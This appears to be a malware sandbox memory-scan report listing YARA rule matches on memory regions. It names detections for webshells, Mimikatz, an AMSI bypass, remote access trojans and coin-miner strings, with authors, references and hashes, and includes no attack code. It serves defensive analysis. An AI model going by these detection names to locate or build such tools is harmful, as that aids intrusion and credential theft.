        Source: 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp, type: MEMORYMatched rule: Certutil_Decode_OR_Download author = Florian Roth, description = Certutil Decode, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2017-08-29
        Source: 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, type: MEMORYMatched rule: HackTool_Samples description = Hacktool, score =
        Source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, type: MEMORYMatched rule: PS_AMSI_Bypass date = 2017-07-19, author = Florian Roth, description = Detects PowerShell AMSI Bypass, reference = https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = file
        Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, type: MEMORYMatched rule: WScriptShell_Case_Anomaly date = 2017-09-11, author = Florian Roth, description = Detects obfuscated wscript.shell commands, reference = Internal Research, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, type: MEMORYMatched rule: vanquish_2 author = Yara Bulk Rule Generator by Florian Roth, description = Webshells Auto-generated - file vanquish.exe, hash = 2dcb9055785a2ee01567f52b5a62b071
        Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, type: MEMORYMatched rule: Pupy_Backdoor date = 2017-08-11, hash5 = 06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e, hash4 = 20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8, hash3 = 90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc, hash2 = 83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4, hash1 = ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153, author = Florian Roth, description = Detects Pupy backdoor, hash7 = 8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01, hash6 = be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2, reference = https://github.com/n1nj4sec/pupy-binaries, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18305343223.0000015B1C4E5000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_MAL_Sandworm_Exaramel_Configuration_Key author = FR/ANSSI/SDO, description = Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...
        Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic date = 2021/03/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75
        Source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp, type: MEMORYMatched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth, description = Detects malware from Middle Eastern campaign reported by Talos, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b
        Source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
        Source: 00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_by_string_obfuscation date = 2021/01/09, author = Arnim Rupp, description = PHP file containing obfuscation strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be used to insert malicious Javascript for credit card skimming, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = e4a15637c90e8eabcbdc748366ae55996dbec926382220c423e754bd819d22bc
        Source: 00000023.00000003.18321252333.0000015B1B6A0000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic date = 2021/03/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function indirectly on user input or writes a file, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = a8c63c418609c1c291b3e731ca85ded4b3e0fba83f3489c21a3199173b176a75
        Source: 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp, type: MEMORYMatched rule: korlia author = Nick Hoffman, reference = http://www.morphick.com/resources/lab-blog/curious-korlia, company = Morphick, information = korlia malware found in apt dump
        Source: 00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18332888598.0000015B1C174000.00000004.00000001.sdmp, type: MEMORYMatched rule: CredTheft_MSIL_ADPassHunt_2 author = FireEye, reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 6efb58cf54d1bb45c057efcfbbd68a93
        Source: 00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_PowerShell_IEX_Download_Combo date = 2018-10-04, hash1 = 13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5, author = Florian Roth, description = Detects strings found in sample from CN group repo leak in October 2018, reference = https://twitter.com/JaromirHorejsi/status/1047084277920411648
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_generic date = 2021/01/14, author = Arnim Rupp, description = php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = bee1b76b1455105d4bfe2f45191071cf05e83a309ae9defcf759248ca9bceddd
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_generic_eval date = 2021/01/07, author = Arnim Rupp, description = Generic PHP webshell which uses any eval/exec function in the same line with user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 90c5cc724ec9cf838e4229e5e08955eec4d7bf95
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmp, type: MEMORYMatched rule: ChinaChopper_Generic date = 2015/03/10, author = Florian Roth, description = China Chopper Webshells - PHP and ASPX, reference = https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, type: MEMORYMatched rule: PoisonIvy_3 filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, cape_type = PoisonIvy Payload, ref = http://malwareconfig.com/stats/PoisonIvy
        Source: 00000023.00000003.18297289690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORYMatched rule: APT_Backdoor_Win_GoRat_Memory author = FireEye, description = Identifies GoRat malware in memory based on strings., reference = https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html, md5 = 3b926b5762e13ceec7ac3a61e85c93bb
        Source: 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_jsp_by_string date = 2021/01/09, author = Arnim Rupp, description = JSP Webshells which contain unique strings, lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these catch different versions., license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 06b42d4707e7326aff402ecbb585884863c6351a
        Source: 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, type: MEMORYMatched rule: hacktool_macos_keylogger_logkext author = @mimeframe, description = LogKext is an open source keylogger for Mac OS X, a product of FSB software., reference = https://github.com/SlEePlEs5/logKext
        Source: 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: Hacktool_Strings_p0wnedShell date = 2017-01-14, hash1 = e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60, author = Florian Roth, description = p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs, reference = https://github.com/Cn33liz/p0wnedShell, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: Mimikatz_Memory_Rule_1 date = 12/22/2014, author = Florian Roth, description = Detects password dumper mimikatz in memory (False Positives: an service that could have copied a Mimikatz executable, AV signatures), license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = memory
        Source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18302210268.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Oilrig_IntelSecurityManager_macro date = 2018-01-19, author = Eyal Sela (slightly modified by Florian Roth), description = Detects OilRig malware, reference = Internal Research
        Source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp, type: MEMORYMatched rule: ZxShell_Jul17 date = 2017-07-08, hash1 = 5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16, author = Florian Roth, description = Detects a ZxShell - CN threat group, reference = https://blogs.rsa.com/cat-phishing/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmp, type: MEMORYMatched rule: CVE_2018_4878_0day_ITW Description = This signature is mostly public sourced and detects an in-the-wild exploit for CVE-2018-4878., URL = https://github.com/InQuest/yara-rules, Author = InQuest Labs
        Source: 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, type: MEMORYMatched rule: TA17_293A_malware_1 date = 2017/07/17, hash5 = 038A97B4E2F37F34B255F0643E49FC9D, hash4 = 04738CA02F59A5CD394998A99FCD9613, hash3 = 8943E71A8C73B5E343AA9D2E19002373, hash2 = BA756DD64C1147515BA2298B6A760260, hash1 = A07AA521E7CAFB360294E56969EDA5D6, hash0 = 61C909D2F625223DB2FB858BBDF42A76, author = US-CERT Code Analysis Team (modified by Florian Roth), description = inveigh pen testing tools & related artifacts, hash10 = 4595DBE00A538DF127E0079294C87DA0, hash9 = 722154A36F32BA10E98020A8AD758A7A, hash8 = 5DBEF7BDDAF50624E840CCBCE2816594, hash7 = AA905A3508D9309A93AD5C0EC26EBC9B, hash6 = 65A1A73253F04354886F375B59550B46, reference = https://www.us-cert.gov/ncas/alerts/TA17-293A
        Source: 00000023.00000003.18290582002.0000015B1BF65000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_asp_generic_eval_on_input date = 2021/01/07, author = Arnim Rupp, description = Generic ASP webshell which uses any eval/exec function directly on user input, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 069ea990d32fc980939fffdf1aed77384bf7806bc57c0a7faaff33bd1a3447f6
        Source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORYMatched rule: SUSP_Base64_Encoded_Hex_Encoded_Code date = 2019-04-29, author = Florian Roth, description = Detects hex encoded code that has been base64 encoded, score = https://www.nextron-systems.com/2019/04/29/spotlight-threat-hunting-yara-rule-example/
        Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORYMatched rule: ZxShell_Jul17 date = 2017-07-08, hash1 = 5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16, author = Florian Roth, description = Detects a ZxShell - CN threat group, reference = https://blogs.rsa.com/cat-phishing/, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
        Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORYMatched rule: gh0st author = https://github.com/jackcr/
        Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_gzinflated date = 2021/01/12, author = Arnim Rupp, description = PHP webshell which directly eval()s obfuscated string, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 49e5bc75a1ec36beeff4fbaeb16b322b08cf192d
        Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, type: MEMORYMatched rule: webshell_php_dynamic_big date = 2021/02/07, author = Arnim Rupp, description = PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score =
        Source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18309001390.0000015B1AF24000.00000004.00000001.sdmp, type: MEMORYMatched rule: Oilrig_IntelSecurityManager_macro date = 2018-01-19, author = Eyal Sela (slightly modified by Florian Roth), description = Detects OilRig malware, reference = Internal Research
        Source: 00000023.00000003.18347963996.0000015B1BF22000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://minergate.com/faq/what-pool-address
        Source: 00000023.00000003.18340030081.0000015B1AB4D000.00000004.00000001.sdmp, type: MEMORYMatched rule: Tofu_Backdoor date = 2017-02-28, author = Cylance, description = Detects Tofu Trojan, reference = https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html
        Source: 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORYMatched rule: xtremrat date = 2012-07-12, filetype = memory, author = Jean-Philippe Teissier / @Jipe_, description = Xtrem RAT v3.5, version = 1.0
        Source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORYMatched rule: Base64_PS1_Shellcode date = 2018-11-14, author = Nick Carr, David Ledbetter, description = Detects Base64 encoded PS1 Shellcode, reference = https://twitter.com/ItsReallyNick/status/1062601684566843392, score =
